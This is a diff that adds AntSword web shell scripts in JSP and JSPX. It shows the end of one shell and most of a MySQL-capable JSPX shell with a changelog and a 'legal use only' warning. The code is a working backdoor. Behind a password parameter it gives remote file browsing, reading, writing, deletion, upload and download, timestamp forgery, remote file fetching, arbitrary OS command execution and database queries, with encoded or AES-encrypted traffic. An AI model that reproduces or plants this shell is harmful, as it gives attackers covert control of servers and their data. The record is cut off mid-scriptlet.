+    String FileTreeCode(String dirPath) throws Exception {
+        File oF = new File(dirPath), l[] = oF.listFiles();
+        String s = "", sT, sQ, sF = "";
+        java.util.Date dt;
+        String fileCode=(String)System.getProperties().get("file.encoding");
+        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+        for (int i = 0; i < l.length; i++) {
+            dt = new java.util.Date(l[i].lastModified());
+            sT = fm.format(dt);
+            sQ = l[i].canRead() ? "R" : "";
+            sQ += l[i].canWrite() ? " W" : "";
+            String nm = new String(l[i].getName().getBytes(fileCode), cs);
+            if (l[i].isDirectory()) {
+                s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+            } else {
+                sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+            }
+        }
+        s += sF;
+        return new String(s.getBytes(fileCode), cs);
+    }
+    String ReadFileCode(String filePath) throws Exception {
+        String l = "", s = "";
+        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
+        while ((l = br.readLine()) != null) {
+            s += l + "\r\n";
+        }
+        br.close();
+        return s;
+    }
+    String WriteFileCode(String filePath, String fileContext) throws Exception {
+        String h = "0123456789ABCDEF";
+        String fileHexContext = strtohexstr(fileContext);
+        File f = new File(filePath);
+        FileOutputStream os = new FileOutputStream(f);
+        for (int i = 0; i < fileHexContext.length(); i += 2) {
+            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+        }
+        os.close();
+        return "1";
+    }
+    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
+        File f = new File(fileOrDirPath);
+        if (f.isDirectory()) {
+            File x[] = f.listFiles();
+            for (int k = 0; k < x.length; k++) {
+                if (!x[k].delete()) {
+                    DeleteFileOrDirCode(x[k].getPath());
+                }
+            }
+        }
+        f.delete();
+        return "1";
+    }
+    void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
+        int n;
+        byte[] b = new byte[512];
+        r.reset();
+        ServletOutputStream os = r.getOutputStream();
+        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
+        os.write(("->"+"|").getBytes(), 0, 3);
+        while ((n = is.read(b, 0, 512)) != -1) {
+            os.write(b, 0, n);
+        }
+        os.write(("|"+"<-").getBytes(), 0, 3);
+        os.close();
+        is.close();
+    }
+    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
+        String h = "0123456789ABCDEF";
+        File f = new File(savefilePath);
+        f.createNewFile();
+        FileOutputStream os = new FileOutputStream(f,true);
+        for (int i = 0; i < fileHexContext.length(); i += 2) {
+            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+        }
+        os.close();
+        return "1";
+    }
+    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
+        File sf = new File(sourceFilePath), df = new File(targetFilePath);
+        if (sf.isDirectory()) {
+            if (!df.exists()) {
+                df.mkdir();
+            }
+            File z[] = sf.listFiles();
+            for (int j = 0; j < z.length; j++) {
+                CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
+            }
+        } else {
+            FileInputStream is = new FileInputStream(sf);
+            FileOutputStream os = new FileOutputStream(df);
+            int n;
+            byte[] b = new byte[1024];
+            while ((n = is.read(b, 0, 1024)) != -1) {
+                os.write(b, 0, n);
+            }
+            is.close();
+            os.close();
+        }
+        return "1";
+    }
+    String RenameFileOrDirCode(String oldName, String newName) throws Exception {
+        File sf = new File(oldName), df = new File(newName);
+        sf.renameTo(df);
+        return "1";
+    }
+    String CreateDirCode(String dirPath) throws Exception {
+        File f = new File(dirPath);
+        f.mkdir();
+        return "1";
+    }
+    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
+        File f = new File(fileOrDirPath);
+        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+        java.util.Date dt = fm.parse(aTime);
+        f.setLastModified(dt.getTime());
+        return "1";
+    }
+    String WgetCode(String urlPath, String saveFilePath) throws Exception {
+        URL u = new URL(urlPath);
+        int n = 0;
+        FileOutputStream os = new FileOutputStream(saveFilePath);
+        HttpURLConnection h = (HttpURLConnection) u.openConnection();
+        InputStream is = h.getInputStream();
+        byte[] b = new byte[512];
+        while ((n = is.read(b)) != -1) {
+            os.write(b, 0, n);
+        }
+        os.close();
+        is.close();
+        h.disconnect();
+        return "1";
+    }
+    String SysInfoCode(HttpServletRequest r) throws Exception {
+        String d = "";
+        try {
+            if(r.getSession().getServletContext().getRealPath("/") != null){
+                d = r.getSession().getServletContext().getRealPath("/");
+            }else{
+                String cd = this.getClass().getResource("/").getPath();
+                d = new File(cd).getParent();
+            }
+        } catch (Exception e) {
+            String cd = this.getClass().getResource("/").getPath();
+            d = new File(cd).getParent();
+        }
+        d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
+        String serverInfo = (String)System.getProperty("os.name");
+        String separator = File.separator;
+        String user = (String)System.getProperty("user.name");
+        String driverlist = WwwRootPathCode(d);
+        return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
+    }
+    boolean isWin() {
+        String osname = (String)System.getProperty("os.name");
+        osname = osname.toLowerCase();
+        if (osname.startsWith("win"))
+            return true;
+        return false;
+    }
+    String ExecuteCommandCode(String cmdPath, String command) throws Exception {
+        StringBuffer sb = new StringBuffer("");
+        String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
+        Process p = Runtime.getRuntime().exec(c);
+        CopyInputStream(p.getInputStream(), sb);
+        CopyInputStream(p.getErrorStream(), sb);
+        return sb.toString();
+    }
+    
+    String getEncoding(String str) {
+        String encode[] = new String[]{
+                "UTF-8",
+                "ISO-8859-1",
+                "GB2312",
+                "GBK",
+                "GB18030",
+                "Big5",
+                "Unicode",
+                "ASCII"
+        };
+        for (int i = 0; i < encode.length; i++){
+            try {
+                if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
+                    return encode[i];
+                }
+            } catch (Exception ex) {
+            }
+        }
+        
+        return "";
+    }
+    String strtohexstr(String fileContext)throws Exception{
+        String h = "0123456789ABCDEF";
+        byte[] bytes = fileContext.getBytes(cs);
+        
+        StringBuilder sb = new StringBuilder(bytes.length * 2);
+        for (int i = 0; i < bytes.length; i++) {
+            sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
+            sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
+        }
+        String fileHexContext = sb.toString();
+        return fileHexContext;
+    }
+    String asenc(String str, String decode) throws Exception{
+        if(decode.equals("hex") || decode=="hex"){
+            return strtohexstr(str);
+        }else if(decode.equals("base64") || decode == "base64"){
+            String sb = "";
+            sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+            sb = encoder.encode(str.getBytes());
+            return sb;
+        }else if(decode.equals("hex_base64") || decode == "hex_base64"){
+            return asenc(asenc(str, "base64"), "hex");
+        }else if(decode.equals("aes_base64") || decode == "aes_base64"){
+            String sb1 = "";
+            sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
+            return sb1.replace("\r\n","");
+        }
+        return str;
+    }
+    String decode(String str) {
+        byte[] bt = null;
+        try {
+            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+            bt = decoder.decodeBuffer(str);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return new String(bt);
+    }
+    String decode(String str, String encode) throws Exception{
+        if(encode.equals("hex") || encode=="hex"){
+            if(str=="null"||str.equals("null")){
+                return "";
+            }
+            String hexString = "0123456789ABCDEF";
+            str = str.toUpperCase();
+            ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
+            String ss = "";
+            for (int i = 0; i < str.length(); i += 2){
+                ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
+                baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
+            }
+            return baos.toString(cs);
+        }else if(encode.equals("base64") || encode == "base64"){
+            byte[] bt = null;
+            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+            bt = decoder.decodeBuffer(str);
+            return new String(bt,cs);
+        }else if(encode.equals("aes") || encode == "aes") {
+            String str1 = AesDecrypt(AesKey, str);
+            return str1.trim();
+        }
+        return str;
+    }
+    String AesEncrypt(String key, String cleartext) throws Exception {
+        IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+        SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
+        Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+        cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);  
+        byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
+        sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+        String sb = encoder.encode(encryptedData);
+        return sb;
+    }
+    String AesDecrypt(String key ,String encrypted) throws Exception {
+        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+        byte[] byteMi = decoder.decodeBuffer(encrypted);
+        IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+        SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+        Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+        cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
+        byte[] decryptedData = cipher.doFinal(byteMi);
+        return new String(decryptedData, "UTF-8");
+    }
+    String getKeyFromCookie(Cookie[] cookies){
+        String key = "";
+        StringBuilder result = new StringBuilder();
+        if( cookies != null ){
+            for (Cookie c : cookies) {
+                if (c.getName().equals(SessionKey)) {
+                    key = c.getValue();
+                    break;
+                }
+            }
+        }
+        if(key.length() < aes_keylen){
+            for(int i=0;key.length() < aes_keylen;i++){
+                key += aes_key_padding;
+            }
+        }if(key.length() > aes_keylen){
+            key = key.substring(0,aes_keylen);
+        }
+        return key;
+    }
+    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
+        String l;
+        BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
+        while ((l = br.readLine()) != null) {
+            sb.append(l + "\r\n");
+        }
+        br.close();
+    }%>
+<%
+    response.setContentType("text/html");
+    request.setCharacterEncoding(cs);
+    response.setCharacterEncoding(cs);
+    StringBuffer output = new StringBuffer("");
+    StringBuffer sb = new StringBuffer("");
+    Cookie cookie = new Cookie(SessionKey, session.getId());
+    response.addCookie(cookie);
+    try {
+        AesKey = getKeyFromCookie(request.getCookies());
+        String funccode = EC(request.getParameter(Pwd) + "");
+        String z0 = EC(decode(request.getParameter("z0")+"", encoder));
+        String z1 = EC(decode(request.getParameter("z1")+"", encoder));
+        String z2 = EC(decode(request.getParameter("z2")+"", encoder));
+        String z3 = EC(decode(request.getParameter("z3")+"", encoder));
+        String[] pars = { z0, z1, z2, z3};
+        output.append(decode(RetS,"base64"));
+        if (funccode.equals("B")) {
+            sb.append(FileTreeCode(pars[1]));
+        } else if (funccode.equals("C")) {
+            sb.append(ReadFileCode(pars[1]));
+        } else if (funccode.equals("D")) {
+            sb.append(WriteFileCode(pars[1], pars[2]));
+        } else if (funccode.equals("E")) {
+            sb.append(DeleteFileOrDirCode(pars[1]));
+        } else if (funccode.equals("F")) {
+            DownloadFileCode(pars[1], response);
+        } else if (funccode.equals("U")) {
+            sb.append(UploadFileCode(pars[1], pars[2]));
+        } else if (funccode.equals("H")) {
+            sb.append(CopyFileOrDirCode(pars[1], pars[2]));
+        } else if (funccode.equals("I")) {
+            sb.append(RenameFileOrDirCode(pars[1], pars[2]));
+        } else if (funccode.equals("J")) {
+            sb.append(CreateDirCode(pars[1]));
+        } else if (funccode.equals("K")) {
+            sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
+        } else if (funccode.equals("L")) {
+            sb.append(WgetCode(pars[1], pars[2]));
+        } else if (funccode.equals("M")) {
+            sb.append(ExecuteCommandCode(pars[1], pars[2]));
+        } else if (funccode.equals("N")) {
+            sb.append(showDatabases(pars[0], pars[1]));
+        } else if (funccode.equals("O")) {
+            sb.append(showTables(pars[0], pars[1], pars[2]));
+        } else if (funccode.equals("P")) {
+            sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
+        } else if (funccode.equals("Q")) {
+            sb.append(query(pars[0], pars[1], pars[2]));
+        } else if (funccode.equals("A")) {
+            sb.append(SysInfoCode(request));
+        }else{
+            sb.append(Version);
+        }
+    } catch (Exception e) {
+        sb.append("ERROR" + ":// " + e.toString());
+    }
+    try {
+        output.append(asenc(sb.toString(), decoder));
+    }catch (Exception e) {
+        sb.append("ERROR" + ":// " + e.toString());
+    }
+    output.append(decode(RetE, "base64"));
+    out.print(output.toString());
+%>

antSword-shells/jspx_custom_script_for_mysql.jspx

@@ -0,0 +1,570 @@
+<!--
+             _   ____                       _
+  __ _ _ __ | |_/ ___|_      _____  _ __ __| |
+ / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+| (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
+ \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
+———————————————————————————————————————————————
+    AntSword JSPX Custom Script for Mysql
+    警告：
+        此脚本仅供合法的渗透测试以及爱好者参考学习
+         请勿用于非法用途，否则将追究其相关责任！
+———————————————————————————————————————————————
+
+说明：
+ 1. AntSword >= v2.1.0
+ 2. 创建 Shell 时选择 custom 模式连接
+ 3. 数据库连接：
+    com.mysql.jdbc.Driver
+    jdbc:mysql://localhost/test?user=root&password=123456
+
+    注意：以上是两行
+ 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致，如果选择 default 则需要将值设置为空
+
+ChangeLog:
+  v1.8
+    1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
+  v1.7
+    1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
+    2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
+  v1.6
+    1. 新增 4 种解码器支持
+  v1.5
+    1. 修正 base64 编码器下连接数据库 characterEncoding 出错
+  v1.4
+    1. 修正 windows 下基础路径获取盘符会出现小写的情况
+  v1.3
+   1. 修正上传文件超过1M时的bug
+   2. 修正weblogic war 包布署获取路径问题
+   3. 修正文件中文字符问题
+  Date: 2016/04/29 v1.2
+   1. 修正修改包含结束tag的文件会出错的 bug
+  Date: 2016/04/06 v1.1
+   1. 修正下载文件参数设置错误
+   2. 修正一些注释的细节
+  Date: 2016/03/26 v1
+   1. 文件系统 和 terminal 管理
+   2. mysql 数据库支持
+   3. 支持 base64 和 hex 编码
+-->
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
+    <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
+    <jsp:directive.page import="java.io.*"/>
+    <jsp:directive.page import="java.util.*"/>
+    <jsp:directive.page import="java.net.*"/>
+    <jsp:directive.page import="java.sql.*"/>
+    <jsp:directive.page import="java.text.*"/>
+    <jsp:directive.page import="javax.crypto.*"/>
+    <jsp:directive.page import="java.security.*"/>
+    <jsp:directive.page import="javax.crypto.spec.*"/>
+    <jsp:declaration>
+    <![CDATA[
+        // ################################################
+        String Pwd = "ant";   //连接密码
+        // 编码器 3 选 1
+        String encoder = "";       // default
+        // String encoder = "base64"; //base64
+        // String encoder = "hex";    //hex(推荐)
+        // String encoder = "aes";         // aes(加密方式见下文aes配置)
+        String cs = "UTF-8"; // 字符编码
+        // 解码器 4 选 1
+        String decoder = "";
+        // String decoder = "base64"; // base64 中文正常
+        // String decoder = "hex"; // hex 中文可能有问题
+        // String decoder = "hex_base64"; // hex(base64) // 中文正常
+        // String decoder = "aes_base64";  // aes(base64) (加密方式见下文aes配置)
+        // 其它配置
+        String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
+        String RetS = "LT58";               // 数据起始分割符 base64
+        String RetE = "fDwt";               // 数据结束分割符 base64
+        // aes 加密配置项
+        /*
+        *  aes-128-cfb_zero_padding:
+        *   - aes_mode: CFB
+        *   - aes_padding: NoPadding
+        *   - aes_keylen: 16
+
+        *  aes-256-ecb_zero_padding:
+        *   - aes_mode: ECB
+        *   - aes_padding: NoPadding
+        *   - aes_keylen: 32
+        */
+        // 注意: 以下4项为 encoder/decoder 共用
+        // 如果需要请求和返回采用不同方式, 自行修改
+        String aes_mode = "CFB";            // CBC|ECB|CFB|
+        String aes_padding = "NoPadding";   // NoPadding|PKCS5Padding|PKCS7Padding
+        int aes_keylen = 16;                // 16|32  // 16(AES-128) 32(AES-256)
+        String aes_key_padding = "a";       // 获取到的 key 位数不够时填充字符
+    // ################################################################
+        String AesKey = "";
+        String Version = "1.7";
+
+        String EC(String s) throws Exception {
+            if(encoder.equals("hex") || encoder == "hex") return s;
+            return new String(s.getBytes(), cs);
+        }
+
+        String showDatabases(String encode, String conn) throws Exception {
+            String sql = "show databases";
+            String columnsep = "\t";
+            String rowsep = "";
+            return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+        }
+
+        String showTables(String encode, String conn, String dbname) throws Exception {
+            String sql = "show tables from " + dbname;
+            String columnsep = "\t";
+            String rowsep = "";
+            return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+        }
+
+        String showColumns(String encode, String conn, String dbname, String table) throws Exception {
+            String columnsep = "\t";
+            String rowsep = "";
+            String sql = "select * from " + dbname + "." + table + " limit 0,0";
+            return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+        }
+
+        String query(String encode, String conn, String sql) throws Exception {
+            String columnsep = "\t|\t";
+            String rowsep = "\r\n";
+            return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+        }
+
+        String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
+                throws Exception {
+            String ret = "";
+            conn = (EC(conn));
+            String[] x = conn.trim().replace("\r\n", "\n").split("\n");
+            Class.forName(x[0].trim());
+            String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
+            Connection c = DriverManager.getConnection(url);
+            Statement stmt = c.createStatement();
+            ResultSet rs = stmt.executeQuery(sql);
+            ResultSetMetaData rsmd = rs.getMetaData();
+
+            if (needcoluname) {
+                for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+                    String columnName = rsmd.getColumnName(i);
+                    ret += columnName + columnsep;
+                }
+                ret += rowsep;
+            }
+
+            while (rs.next()) {
+                for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+                    String columnValue = rs.getString(i);
+                    ret += columnValue + columnsep;
+                }
+                ret += rowsep;
+            }
+            return ret;
+        }
+
+        String WwwRootPathCode(String d) throws Exception {
+            String s = "";
+            if (!d.substring(0, 1).equals("/")) {
+                File[] roots = File.listRoots();
+                for (int i = 0; i < roots.length; i++) {
+                    s += roots[i].toString().substring(0, 2) + "";
+                }
+            } else {
+                s += "/";
+            }
+            return s;
+        }
+
+        String FileTreeCode(String dirPath) throws Exception {
+            File oF = new File(dirPath), l[] = oF.listFiles();
+            String s = "", sT, sQ, sF = "";
+            java.util.Date dt;
+            String fileCode=(String)System.getProperties().get("file.encoding");
+            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+            for (int i = 0; i < l.length; i++) {
+                dt = new java.util.Date(l[i].lastModified());
+                sT = fm.format(dt);
+                sQ = l[i].canRead() ? "R" : "";
+                sQ += l[i].canWrite() ? " W" : "";
+                String nm = new String(l[i].getName().getBytes(fileCode), cs);
+                if (l[i].isDirectory()) {
+                    s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+                } else {
+                    sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+                }
+            }
+            s += sF;
+            return new String(s.getBytes(fileCode), cs);
+        }
+
+        String ReadFileCode(String filePath) throws Exception {
+            String l = "", s = "";
+            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
+            while ((l = br.readLine()) != null) {
+                s += l + "\r\n";
+            }
+            br.close();
+            return s;
+        }
+
+        String WriteFileCode(String filePath, String fileContext) throws Exception {
+            String h = "0123456789ABCDEF";
+            String fileHexContext = strtohexstr(fileContext);
+            File f = new File(filePath);
+            FileOutputStream os = new FileOutputStream(f);
+            for (int i = 0; i < fileHexContext.length(); i += 2) {
+                os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+            }
+            os.close();
+            return "1";
+        }
+
+        String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
+            File f = new File(fileOrDirPath);
+            if (f.isDirectory()) {
+                File x[] = f.listFiles();
+                for (int k = 0; k < x.length; k++) {
+                    if (!x[k].delete()) {
+                        DeleteFileOrDirCode(x[k].getPath());
+                    }
+                }
+            }
+            f.delete();
+            return "1";
+        }
+
+        void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
+            int n;
+            byte[] b = new byte[512];
+            r.reset();
+            ServletOutputStream os = r.getOutputStream();
+            BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
+            os.write(("->"+"|").getBytes(), 0, 3);
+            while ((n = is.read(b, 0, 512)) != -1) {
+                os.write(b, 0, n);
+            }
+            os.write(("|"+"<-").getBytes(), 0, 3);
+            os.close();
+            is.close();
+        }
+
+        String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
+            String h = "0123456789ABCDEF";
+            File f = new File(savefilePath);
+            f.createNewFile();
+            FileOutputStream os = new FileOutputStream(f,true);
+            for (int i = 0; i < fileHexContext.length(); i += 2) {
+                os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+            }
+            os.close();
+            return "1";
+        }
+
+        String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
+            File sf = new File(sourceFilePath), df = new File(targetFilePath);
+            if (sf.isDirectory()) {
+                if (!df.exists()) {
+                    df.mkdir();
+                }
+                File z[] = sf.listFiles();
+                for (int j = 0; j < z.length; j++) {
+                    CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
+                }
+            } else {
+                FileInputStream is = new FileInputStream(sf);
+                FileOutputStream os = new FileOutputStream(df);
+                int n;
+                byte[] b = new byte[1024];
+                while ((n = is.read(b, 0, 1024)) != -1) {
+                    os.write(b, 0, n);
+                }
+                is.close();
+                os.close();
+            }
+            return "1";
+        }
+
+        String RenameFileOrDirCode(String oldName, String newName) throws Exception {
+            File sf = new File(oldName), df = new File(newName);
+            sf.renameTo(df);
+            return "1";
+        }
+
+        String CreateDirCode(String dirPath) throws Exception {
+            File f = new File(dirPath);
+            f.mkdir();
+            return "1";
+        }
+
+        String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
+            File f = new File(fileOrDirPath);
+            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+            java.util.Date dt = fm.parse(aTime);
+            f.setLastModified(dt.getTime());
+            return "1";
+        }
+
+        String WgetCode(String urlPath, String saveFilePath) throws Exception {
+            URL u = new URL(urlPath);
+            int n = 0;
+            FileOutputStream os = new FileOutputStream(saveFilePath);
+            HttpURLConnection h = (HttpURLConnection) u.openConnection();
+            InputStream is = h.getInputStream();
+            byte[] b = new byte[512];
+            while ((n = is.read(b)) != -1) {
+                os.write(b, 0, n);
+            }
+            os.close();
+            is.close();
+            h.disconnect();
+            return "1";
+        }
+
+        String SysInfoCode(HttpServletRequest r) throws Exception {
+            String d = "";
+            try {
+                if(r.getSession().getServletContext().getRealPath("/") != null){
+                    d = r.getSession().getServletContext().getRealPath("/");
+                }else{
+                    String cd = this.getClass().getResource("/").getPath();
+                    d = new File(cd).getParent();
+                }
+            } catch (Exception e) {
+                String cd = this.getClass().getResource("/").getPath();
+                d = new File(cd).getParent();
+            }
+            d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
+            String serverInfo = (String)System.getProperty("os.name");
+            String separator = File.separator;
+            String user = (String)System.getProperty("user.name");
+            String driverlist = WwwRootPathCode(d);
+            return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
+        }
+
+        boolean isWin() {
+            String osname = (String)System.getProperty("os.name");
+            osname = osname.toLowerCase();
+            if (osname.startsWith("win"))
+                return true;
+            return false;
+        }
+
+        String ExecuteCommandCode(String cmdPath, String command) throws Exception {
+            StringBuffer sb = new StringBuffer("");
+            String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
+            Process p = Runtime.getRuntime().exec(c);
+            CopyInputStream(p.getInputStream(), sb);
+            CopyInputStream(p.getErrorStream(), sb);
+            return sb.toString();
+        }
+        
+        String getEncoding(String str) {
+            String encode[] = new String[]{
+                    "UTF-8",
+                    "ISO-8859-1",
+                    "GB2312",
+                    "GBK",
+                    "GB18030",
+                    "Big5",
+                    "Unicode",
+                    "ASCII"
+            };
+            for (int i = 0; i < encode.length; i++){
+                try {
+                    if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
+                        return encode[i];
+                    }
+                } catch (Exception ex) {
+                }
+            }
+            
+            return "";
+        }
+        String strtohexstr(String fileContext)throws Exception{
+            String h = "0123456789ABCDEF";
+            byte[] bytes = fileContext.getBytes(cs);
+            
+            StringBuilder sb = new StringBuilder(bytes.length * 2);
+            for (int i = 0; i < bytes.length; i++) {
+                sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
+                sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
+            }
+            String fileHexContext = sb.toString();
+            return fileHexContext;
+        }
+
+        String asenc(String str, String decode){
+            if(decode.equals("hex") || decode=="hex"){
+                return strtohexstr(str);
+            }else if(decode.equals("base64") || decode == "base64"){
+                String sb = "";
+                sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+                sb = encoder.encode(str.getBytes());
+                return sb;
+            }else if(decode.equals("hex_base64") || decode == "hex_base64"){
+                return asenc(asenc(str, "base64"), "hex");
+            }else if(decode.equals("aes_base64") || decode == "aes_base64"){
+                String sb1 = "";
+                sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
+                return sb1.replace("\r\n","");
+            }
+            return str;
+        }
+
+        String decode(String str) {
+            byte[] bt = null;
+            try {
+                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+                bt = decoder.decodeBuffer(str);
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+            return new String(bt);
+        }
+        String decode(String str, String encode) throws Exception{
+            if(encode.equals("hex") || encode=="hex"){
+                if(str=="null"||str.equals("null")){
+                    return "";
+                }
+                String hexString = "0123456789ABCDEF";
+                str = str.toUpperCase();
+                ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
+                String ss = "";
+                for (int i = 0; i < str.length(); i += 2){
+                    ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
+                    baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
+                }
+                return baos.toString(cs);
+            }else if(encode.equals("base64") || encode == "base64"){
+                byte[] bt = null;
+                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+                bt = decoder.decodeBuffer(str);
+                return new String(bt,cs);
+            }else if(encode.equals("aes") || encode == "aes") {
+                String str1 = AesDecrypt(AesKey, str);
+                return str1.trim();
+            }
+            return str;
+        }
+
+        String AesEncrypt(String key, String cleartext) throws Exception {
+            IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+            SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
+            Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+            cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);  
+            byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
+            sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+            String sb = encoder.encode(encryptedData);
+            return sb;
+        }
+
+        String AesDecrypt(String key ,String encrypted) throws Exception {
+            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+            byte[] byteMi = decoder.decodeBuffer(encrypted);
+            IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+            SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+            Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+            cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
+            byte[] decryptedData = cipher.doFinal(byteMi);
+            return new String(decryptedData, "UTF-8");
+        }
+
+        String getKeyFromCookie(Cookie[] cookies){
+            String key = "";
+            StringBuilder result = new StringBuilder();
+            if( cookies != null ){
+                for (Cookie c : cookies) {
+                    if (c.getName().equals(SessionKey)) {
+                        key = c.getValue();
+                        break;
+                    }
+                }
+            }
+            if(key.length() < aes_keylen){
+                for(int i=0;key.length() < aes_keylen;i++){
+                    key += aes_key_padding;
+                }
+            }if(key.length() > aes_keylen){
+                key = key.substring(0,aes_keylen);
+            }
+            return key;
+        }
+
+        void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
+            String l;
+            BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
+            while ((l = br.readLine()) != null) {
+                sb.append(l + "\r\n");
+            }
+            br.close();
+        }
+    ]]>
+    </jsp:declaration>
+    <jsp:scriptlet>
+    <![CDATA[
+        response.setContentType("text/html");
+        request.setCharacterEncoding(cs);
+        response.setCharacterEncoding(cs);
+        StringBuffer output = new StringBuffer("");
+        StringBuffer sb = new StringBuffer("");
+        Cookie cookie = new Cookie(SessionKey, session.getId());
+        response.addCookie(cookie);
+        try {
